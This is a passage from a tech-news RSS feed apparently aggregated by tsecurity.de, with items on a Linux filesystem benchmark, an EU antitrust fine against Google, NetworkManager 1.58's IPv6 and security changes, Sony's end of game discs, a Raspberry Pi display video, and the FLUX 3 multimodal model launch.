href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]></title>
<description><![CDATA[Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place. I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their fea...]]></description>
<link>https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.</p> <p>I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.</p> <p>The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.</p> <p>Hosted CI dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/">https://bartosz.fenski.pl/modern-fs-benchmark/</a></p> <p>Experimental real-hardware dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/">https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/</a></p> <p>Apache-2.0 licensed source and complete methodology:</p> <p><a href="https://github.com/fenio/modern-fs-benchmark">https://github.com/fenio/modern-fs-benchmark</a></p> <p>The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.</p> <p><strong>Why I started this project</strong></p> <p>Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.</p> <p>General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.</p> <p>I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.</p> <p>That means testing behavior such as:</p> <p>- Redundancy and degraded operation</p> <p>- Snapshot aging, scaling and reclamation</p> <p>- Compression and encryption</p> <p>- Reflinks and clone divergence</p> <p>- Fsync tail latency and responsiveness under load</p> <p>- Rebuild and scrub behavior</p> <p>- Near-full and hard-ENOSPC behavior</p> <p>- Data integrity and recovery from corruption</p> <p>Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.</p> <p>Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.</p> <p>Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.</p> <p>The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.</p> <p><strong>An important limitation</strong></p> <p>The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.</p> <p>The hosted runs are primarily useful for:</p> <p>- Correctness and integrity outcomes</p> <p>- Comparisons within the same job</p> <p>- Large behavioral differences</p> <p>- Snapshot-aging and near-full shapes</p> <p>- Trends across repeated runs</p> <p>Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.</p> <p>I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.</p> <p><strong>The real-hardware experiment</strong></p> <p>Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.</p> <p>The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.</p> <p>During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.</p> <p>The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.</p> <p>I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.</p> <p><strong>Where I would like to take it</strong></p> <p>Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.</p> <p>I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.</p> <p>That could support scenarios such as:</p> <p>- HDD, SSD and NVMe baselines using identical workloads</p> <p>- bcachefs foreground and background targets</p> <p>- ZFS HDD data vdevs with SSD special vdevs</p> <p>- Separate ZFS L2ARC and SLOG experiments</p> <p>- LVM dm-cache in writeback and writethrough modes</p> <p>- Metadata and small-block placement on faster media</p> <p>- Foreground latency during background migration</p> <p>- Contention between fast and slow storage tiers</p> <p>- Degraded operation and rebuild under application load</p> <p>- Performance before, during and after promoting or evacuating a storage tier</p> <p>These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.</p> <p>I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.</p> <p>For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.</p> <p>I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.</p> <p>I would appreciate technical feedback:</p> <p>- Which current tests are misleading or unfair?</p> <p>- Which failure scenarios are missing?</p> <p>- Which mixed-media topologies would be most useful?</p> <p>- Which additional filesystems or layered stacks should be included?</p> <p>- Which results deserve deeper investigation?</p> <p>The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bfenski"> /u/bfenski </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[EU Fines Google $1 Billion For Breaking Digital Antitrust Regulations]]></title>
<description><![CDATA[The European Union fined Google more than $1 billion for allegedly using Google Play and Search to steer users toward its own services and apps at the expense of competitors. The Associated Press reports: Google had recently lost its appeal of a $4.5 billion antitrust fine imposed by the EU for t...]]></description>
<link>https://tsecurity.de/de/3690226/it-security-nachrichten/eu-fines-google-1-billion-for-breaking-digital-antitrust-regulations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690226/it-security-nachrichten/eu-fines-google-1-billion-for-breaking-digital-antitrust-regulations/</guid>
<pubDate>Thu, 23 Jul 2026 23:07:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The European Union fined Google more than $1 billion for allegedly using Google Play and Search to steer users toward its own services and apps at the expense of competitors. The Associated Press reports: Google had recently lost its appeal of a $4.5 billion antitrust fine imposed by the EU for throttling competition and reducing consumer choice through the dominance of its mobile Android operating system. The European Commission, the bloc's executive branch and highest antitrust enforcer, said it was acting in the interest of consumers after an investigation of Google.
 
"The best products should succeed because they're better, not because they're owned by the company running the search engine. And European consumers have a right to be told by app developers where to sign up to the best offers, even when the app store owner does not get a cut," said Teresa Ribera, the commission's Executive Vice President for Clean, Just and Competitive Transition.
 
Google's President of Global Affairs Kent Walker blasted the fine as "product degradation driven by a small group of self-serving complainants" that will have a negative impact on European businesses and consumers. He said that the EU's Digital Markets Act forces Google "to strip away real-time search features Europeans love -- like instant pricing and direct availability for hotels, flights, and restaurants -- and dismantle safety protections on Google Play."<p></p><div class="share_submission">
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</div><p><a href="https://search.slashdot.org/story/26/07/23/2034235/eu-fines-google-1-billion-for-breaking-digital-antitrust-regulations?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[NetworkManager update advances IPv6-only support, Wi‑Fi management, and security for Linux-based operating systems]]></title>
<description><![CDATA[Networking is core to any operating system, and when it comes to Linux, it’s actually a combination of several key components. The Linux kernel handles the data plane, moving packets, and holding live device state. NetworkManager is the network configuration service, operating as the control plan...]]></description>
<link>https://tsecurity.de/de/3690083/it-security-nachrichten/networkmanager-update-advances-ipv6-only-support-wifi-management-and-security-for-linux-based-operating-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690083/it-security-nachrichten/networkmanager-update-advances-ipv6-only-support-wifi-management-and-security-for-linux-based-operating-systems/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Networking is core to any operating system, and when it comes to Linux, it’s actually a combination of several key components. The Linux kernel handles the data plane, moving packets, and holding live device state. NetworkManager is the network configuration service, operating as the control plane, deciding what a device’s configuration should be.</p>



<p class="wp-block-paragraph"><a href="https://gitlab.freedesktop.org/NetworkManager/NetworkManager/-/releases/1.58.0">NetworkManager 1.58</a> was released this week, following more than five months of development and 407 commits since version 1.56. The release covers three areas: expanded support for IPv6-only networks, a set of Wi-Fi management updates, and a round of security hardening.</p>



<p class="wp-block-paragraph">IPv4 address exhaustion remains the pressure behind the first of those areas, pushing more networks toward IPv6-only operation every year.</p>



<p class="wp-block-paragraph">“More networks, mobile carriers, cloud providers, and anyone squeezed by IPv4 exhaustion are running IPv6-only by default,” <a href="https://www.linkedin.com/in/vanhoof/">Chris Van Hoof</a>, director of Linux engineering, platform enablement at Red Hat, told <em>Network World</em>.</p>



<h2 class="wp-block-heading">Advancing IPv6-only support</h2>



<p class="wp-block-paragraph">Dual stack networking, running IPv4 and IPv6 in parallel, has been the default IPv6 transition strategy for years. Dual stack networking, however, has a structural problem in that it still requires an IPv4 address on every device, so it does nothing to relieve address exhaustion pressure.</p>



<p class="wp-block-paragraph">An alternative model called IPv6-mostly addresses that gap. It is defined in RFC 8925, “IPv6-Only-Preferred Option for DHCPv4,” and lets capable clients drop IPv4 entirely while legacy hosts that still need it keep receiving it on the same network segment.</p>



<p class="wp-block-paragraph">“NetworkManager can also now auto-signal RFC 8925’s IPv6-only-preferred option, telling the network a host is fine skipping an IPv4 lease entirely,” Van Hoof said.</p>



<p class="wp-block-paragraph">For the traffic that still needs IPv4, NetworkManager 1.58 adds support for CLAT, short for customer-side translator. CLAT is the client-side half of 464XLAT, a mechanism defined in RFC 6877, “464XLAT: Combination of Stateful and Stateless Translation.”</p>



<p class="wp-block-paragraph">464XLAT pairs CLAT on the endpoint, which performs stateless header translation, with a stateful NAT64 translator on the provider side, letting IPv4-only apps keep functioning on a network that has no IPv4 of its own.</p>



<p class="wp-block-paragraph">“CLAT is the translation layer that lets legacy IPv4-only apps and services keep working on those networks without bolt-on middleware,” Van Hoof said.</p>



<h2 class="wp-block-heading">Wi-Fi management updates</h2>



<p class="wp-block-paragraph">NetworkManager 1.58 also brings a set of changes to how the daemon handles Wi-Fi connections and configuration.</p>



<ul class="wp-block-list">
<li><strong>Band selection: </strong>The band property of Wi-Fi connections now accepts a 6GHz value, and a Wi-Fi scan run through nmcli, NetworkManager’s command line tool, now shows each access point’s band as well.</li>



<li><strong>Credential handling:</strong> WPS credentials with a 64 character hex PSK are now accepted, matching what some access points return.</li>



<li><strong>Text interface improvements:</strong> nmtui, NetworkManager’s menu driven text interface, picked up several usability additions. A new device select button lets you choose a physical interface from a list instead of typing its name. The activation screen gained a rescan Wi-Fi button, and secret prompts now include a show password checkbox. There is also a share QR code option, mirroring the existing nmcli device wifi show-password command.</li>
</ul>



<h2 class="wp-block-heading">Security hardening</h2>



<p class="wp-block-paragraph">The release fixes vulnerabilities and tightens several defaults tied to DHCP handling and connection permissions.</p>



<ul class="wp-block-list">
<li><strong>CVE-2026-10805: </strong>Hostnames and MUD URLs are now validated before being written to the dhclient configuration file, rejecting characters that could alter the config syntax.</li>



<li><strong>DHCPv4 client fix: </strong>An out-of-bounds read in the internal DHCPv4 client, triggerable by an on-link attacker with a malformed UDP packet, has been fixed.</li>



<li><strong>Router option validation: </strong>The internal DHCPv4 client now ignores DHCP option 3, the Router option, when a lease also contains option 121, the Classless Static Route option, following the recommendation in RFC 3442.</li>



<li><strong>Permission checks and deprecations:</strong> For private connections that restrict access to specific users, NetworkManager now verifies that the user can access the referenced 802.1X certificates and keys.</li>
</ul>



<h2 class="wp-block-heading">Tunneling and automation updates</h2>



<p class="wp-block-paragraph">Two smaller but practical additions round out this release: a new tunnel type for virtualized networks, and a fix that closes a gap in how NetworkManager’s state survives a reboot.</p>



<p class="wp-block-paragraph">NetworkManager 1.58 also adds support for creating and managing GENEVE tunnel interfaces. GENEVE, short for Generic Network Virtualization Encapsulation, is a tunneling protocol that wraps Ethernet frames inside UDP packets, letting virtualized or overlay networks run on top of physical Layer 3 infrastructure. It shows up mainly in virtualization and cloud environments, where a hypervisor or container networking layer needs to build a virtual network segment across physical hosts. Previously, NetworkManager could not create or manage these interfaces directly.</p>



<p class="wp-block-paragraph">The release also adds persisted managed state. NetworkManager tracks whether it is responsible for a given network device, a setting called its managed state. Until now, that setting reset on every reboot, so provisioning tools had to reapply it each time a system restarted. NetworkManager 1.58 lets the managed state survive a reboot when it is set through nmcli or the D-Bus API.</p>



<p class="wp-block-paragraph">“It’s a small change but closes a real automation gap: Provisioning tools and cloud-init style workflows can set a device’s state once via D-Bus or nmcli and trust it survives a reboot, instead of reapplying config every time,” Van Hoof said.</p>
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<title><![CDATA[Sony's Decision To Ditch Discs Was Practically Inevitable, Data Shows]]></title>
<description><![CDATA[An anonymous reader quotes a report from Ars Technica: Many gamers have been lamenting Sony's recently announced decision to halt sales of physical game discs in 2028. However, new data revealed by Circana analyst Mat Piscatella highlights how years of stark economic trends helped lead Sony to th...]]></description>
<link>https://tsecurity.de/de/3690046/it-security-nachrichten/sonys-decision-to-ditch-discs-was-practically-inevitable-data-shows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690046/it-security-nachrichten/sonys-decision-to-ditch-discs-was-practically-inevitable-data-shows/</guid>
<pubDate>Thu, 23 Jul 2026 21:11:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Ars Technica: Many gamers have been lamenting Sony's recently announced decision to halt sales of physical game discs in 2028. However, new data revealed by Circana analyst Mat Piscatella highlights how years of stark economic trends helped lead Sony to that decision. In a social media thread Thursday morning, Piscatella shared insights into Circana's tracking data on physical game sales in the U.S. dating back to 2003. A graph of those trends shows physical sales peaking in the 12 months ending June 2009, when 297 million units were sold across the US. Those physical unit sales have been on a steady downward trajectory since then, leading to just 37 million physical units selling in the U.S. in the last 12 months.
 
The newly revealed data follows on an earlier post from Piscatella highlighting that only seven PlayStation games had sold over 100,000 physical units so far in 2026. Today, Piscatella followed up on that stat with a graph showing how this baseline used to be common; 100 PlayStation games sold at least 100,000 physical units in 2008. The ceiling for physical PlayStation game sales isn't all that impressive these days either; Piscatella shared that the top-selling physical PlayStation game has only sold a paltry 275,000 units in the U.S. so far this year.
 
There are some small signs of hope for the physical game market, if you squint. Piscatella noted that aggregate spending on physical video games in the U.S. was actually up 4 percent year-to-date, compared to the year before. But that small increase is a mere blip following 16 straight years of sizable declines in physical game spending in the US, reducing a peak of $11.5 billion in physical spending in 2009 to a mere $1.6 billion for the 12 months ending in May. And Piscatella attributed the recent growth in physical spending to "the Switch 2 and physical sales growth on Nintendo platforms," while other platforms (such as PlayStation) were still seeing "percentage drops from the teens to the mid 30s" in that spending.<p></p><div class="share_submission">
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</div><p><a href="https://games.slashdot.org/story/26/07/23/1825217/sonys-decision-to-ditch-discs-was-practically-inevitable-data-shows?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[the PERFECT Raspberry Pi wall dashboard?]]></title>
<description><![CDATA[Author: NetworkChuck - Bewertung: 319x - Views:3894 This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee

Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it...]]></description>
<link>https://tsecurity.de/de/3690019/it-security-video/the-perfect-raspberry-pi-wall-dashboard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690019/it-security-video/the-perfect-raspberry-pi-wall-dashboard/</guid>
<pubDate>Thu, 23 Jul 2026 20:49:01 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: NetworkChuck - Bewertung: 319x - Views:3894 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/34D1imLordU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee<br />
<br />
Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it on my studio wall to run all my Home Assistant and homelab stuff. It is a gorgeous little screen (1200x1920, real IPS, 10 finger touch, 400 nits) and at $80 it is a steal. There is one catch though, and a lot of you are not going to like it: this thing only works on the Raspberry Pi 5 and the Compute Modules. Your Pi 3 or Pi 4 will not work at all.<br />
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In this video I unbox it, walk through everything that is new versus the old touch display, hit a wall when it powered on and did absolutely nothing (turns out you have to update the firmware on your Pi 5, the EEPROM, before it will recognize the screen), mount it with nothing but a drill and some screws, and finally turn it into a beautiful Home Assistant dashboard using an open source kiosk app called TouchKio. Whether you are building a smart home wall panel, a homelab status board, or you just want your Raspberry Pi to show off what it is doing, this is a really good option.<br />
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RESOURCES / LINKS:<br />
🌐 Raspberry Pi Touch Display 2: https://www.raspberrypi.com/products/touch-display-2/<br />
🛠️ TouchKio (open source kiosk app): https://github.com/leukipp/touchkio<br />
🏠 Home Assistant: https://www.home-assistant.io/<br />
🖥️ Proxmox: https://www.proxmox.com/<br />
📖 Update your Raspberry Pi firmware (EEPROM): https://www.raspberrypi.com/documentation/computers/raspberry-pi.html<br />
☕ NetworkChuck Coffee (Default Route): https://ntck.co/coffee<br />
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TIMESTAMPS:<br />
0:00 - Unboxing the new Raspberry Pi Touch Display 2<br />
0:45 - What is new on the 10 inch portrait display<br />
1:50 - The catch: Raspberry Pi 5 and Compute Modules only<br />
2:48 - It powered on and nothing happened<br />
3:16 - The fix: updating your Raspberry Pi 5 firmware<br />
5:55 - Building the Home Assistant dashboard with TouchKio<br />
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**Raspberry Pi provided the Touch Display 2 for this video, no strings attached. All opinions are my own.<br />
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#raspberrypi #homeassistant #homelab<br/></p>]]></content:encoded>
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<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not 